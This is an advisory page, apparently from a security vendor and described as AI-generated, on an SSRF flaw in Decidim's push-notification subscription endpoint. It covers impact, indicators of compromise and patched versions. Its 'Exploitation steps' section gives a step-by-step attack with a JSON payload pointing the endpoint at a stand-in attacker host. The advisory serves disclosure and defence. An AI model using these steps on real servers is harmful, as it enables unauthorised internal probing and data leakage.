CVE-2026-45573
Ruby vulnerability analysis and mitigation

Overview

CVE-2026-45573 is a Server-Side Request Forgery (SSRF) vulnerability in the Decidim participatory democracy platform, specifically in the decidim-core RubyGems package. When VAPID-based push notifications are enabled, the push subscription endpoint accepts and stores an attacker-controlled delivery URL without validating it against an approved push service allowlist, creating a stored, mostly blind SSRF primitive. Affected versions are decidim-core < 0.30.9, >= 0.31.0.rc1 and < 0.31.5, and >= 0.32.0.rc1 and < 0.32.0. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Decidim Advisory). The vulnerability was discovered through a security audit organized by the Decidim Association and conducted by Radically Open Security, financed by NGI, and was publicly disclosed on July 13, 2026 (Decidim Advisory).

Technical details

The root cause is CWE-918 (Server-Side Request Forgery): the POST /notifications_subscriptions endpoint accepts a client-supplied subscription.endpoint JSON field and stores it verbatim under user.notification_settings["subscriptions"] via params[:endpoint], with no validation that the URL belongs to a legitimate push service (GitHub Advisory). The full source-to-sink chain is: (1) attacker POSTs an arbitrary HTTPS URL as subscription.endpoint; (2) it is persisted in the user's notification settings; (3) on notification dispatch, build_payload reads the stored endpoint and passes it to WebPush.payload_send(**payload), which issues an outbound HTTPS POST to the attacker-controlled URL. Exploitation requires only a valid authenticated session (low privileges), no user interaction, and that VAPID delivery be enabled on the server (Decidim Advisory, Fix PR).

Impact

An authenticated attacker can cause the Decidim application server to issue outbound HTTPS POST requests to arbitrary attacker-controlled or internal HTTPS endpoints whenever a push notification is triggered. This enables interaction with attacker infrastructure (e.g., for out-of-band data exfiltration or callback confirmation), and — where internal services are reachable from the app server — probing or interacting with internal HTTPS services not otherwise exposed to the internet. Notification metadata is disclosed to the supplied endpoint through the encrypted web push request path, resulting in low confidentiality and low integrity impact with no direct availability impact (GitHub Advisory, Decidim Advisory).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date. The CVE status is listed as "Reserved" and exploitation requires a valid authenticated account on the target Decidim instance with VAPID push notifications enabled (GitHub Advisory). No EPSS score or CISA KEV catalog entry has been identified for this CVE. The attack complexity is low and no user interaction is required beyond the attacker's own authenticated session, making it straightforward to exploit in environments where VAPID is configured (Decidim Advisory).

Exploitation steps

  1. Reconnaissance: Identify a Decidim instance running an affected version of decidim-core (< 0.30.9, 0.31.0.rc1–0.31.4, or 0.32.0.rc1) with VAPID push notifications enabled (indicated by the presence of VAPID public keys in the application configuration).
  2. Authenticate: Obtain or register a valid user account on the target Decidim instance (low-privilege access is sufficient).
  3. Set up a listener: Stand up an attacker-controlled HTTPS server (e.g., using Burp Collaborator, interactsh, or a custom server) to receive and log incoming requests.
  4. Register malicious push subscription: Send an authenticated HTTP POST request to POST /notifications_subscriptions with a JSON body containing subscription.endpoint set to the attacker-controlled HTTPS URL, along with any required p256dh and auth fields:
    {
      "subscription": {
        "endpoint": "https://attacker.example.com/collect",
        "keys": {
          "p256dh": "<any_value>",
          "auth": "<any_value>"
        }
      }
    }
  5. Trigger notification dispatch: Wait for or trigger a platform event that causes a push notification to be sent to the registered user (e.g., a new comment, message, or admin action).
  6. Observe outbound request: The Decidim server calls WebPush.payload_send with the attacker-supplied endpoint, issuing an outbound HTTPS POST to the attacker's server — confirming SSRF and potentially disclosing notification metadata or enabling further internal network probing (GitHub Advisory, Decidim Advisory).

Indicators of compromise

  • Network: Unexpected outbound HTTPS POST requests from the Decidim application server to non-standard push service domains (i.e., not *.mozilla.com, *.googleapis.com, *.apple.com, *.opera.com, or *.windows.com); outbound connections to known attacker infrastructure or SSRF callback services (e.g., interactsh, Burp Collaborator domains).
  • Logs: Application logs showing WebPush.payload_send calls with endpoint URLs not matching approved push service providers; Rails request logs recording POST /notifications_subscriptions with unusual or non-browser-originated endpoint values.
  • Database/Storage: User notification_settings["subscriptions"] records containing endpoint URLs pointing to non-standard or attacker-controlled domains rather than legitimate push service URLs.

Mitigation and workarounds

Patched versions are decidim-core 0.30.9, 0.31.5, and 0.32.0, which introduce a PushSubscriptionEndpointValidator module that enforces an allowlist of approved push service providers (Mozilla, Google FCM, Apple, Opera, Windows/Edge) and rejects unsupported endpoints with a 422 error (Fix PR, GitHub Advisory). Administrators who cannot immediately upgrade should disable the push notifications feature by removing the VAPID keys from the server configuration, which prevents the vulnerable code path from being reachable (Decidim Advisory). Upgrading to a patched version is the recommended long-term remediation.

Community reactions

The vulnerability was credited to a security audit organized by the Decidim Association and performed by Radically Open Security, financed by NGI, indicating a responsible disclosure process through a formal security engagement (Decidim Advisory). No significant broader media coverage or notable social media commentary has been identified beyond the official advisory and patch pull request.

Additional resources


SourceThis report was generated using AI

Related Ruby vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-71847HIGH8.7
  • Ruby logoRuby
  • ruby-json
NoYesAug 07, 2026
CVE-2026-45414HIGH8.5
  • Ruby logoRuby
  • decidim
NoYesAug 06, 2026
CVE-2026-45573MEDIUM6.4
  • Ruby logoRuby
  • decidim-core
NoYesAug 06, 2026
CVE-2026-45415MEDIUM6
  • Ruby logoRuby
  • decidim-verifications
NoYesAug 06, 2026
CVE-2026-45572MEDIUM4.8
  • Ruby logoRuby
  • decidim-core
NoYesAug 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management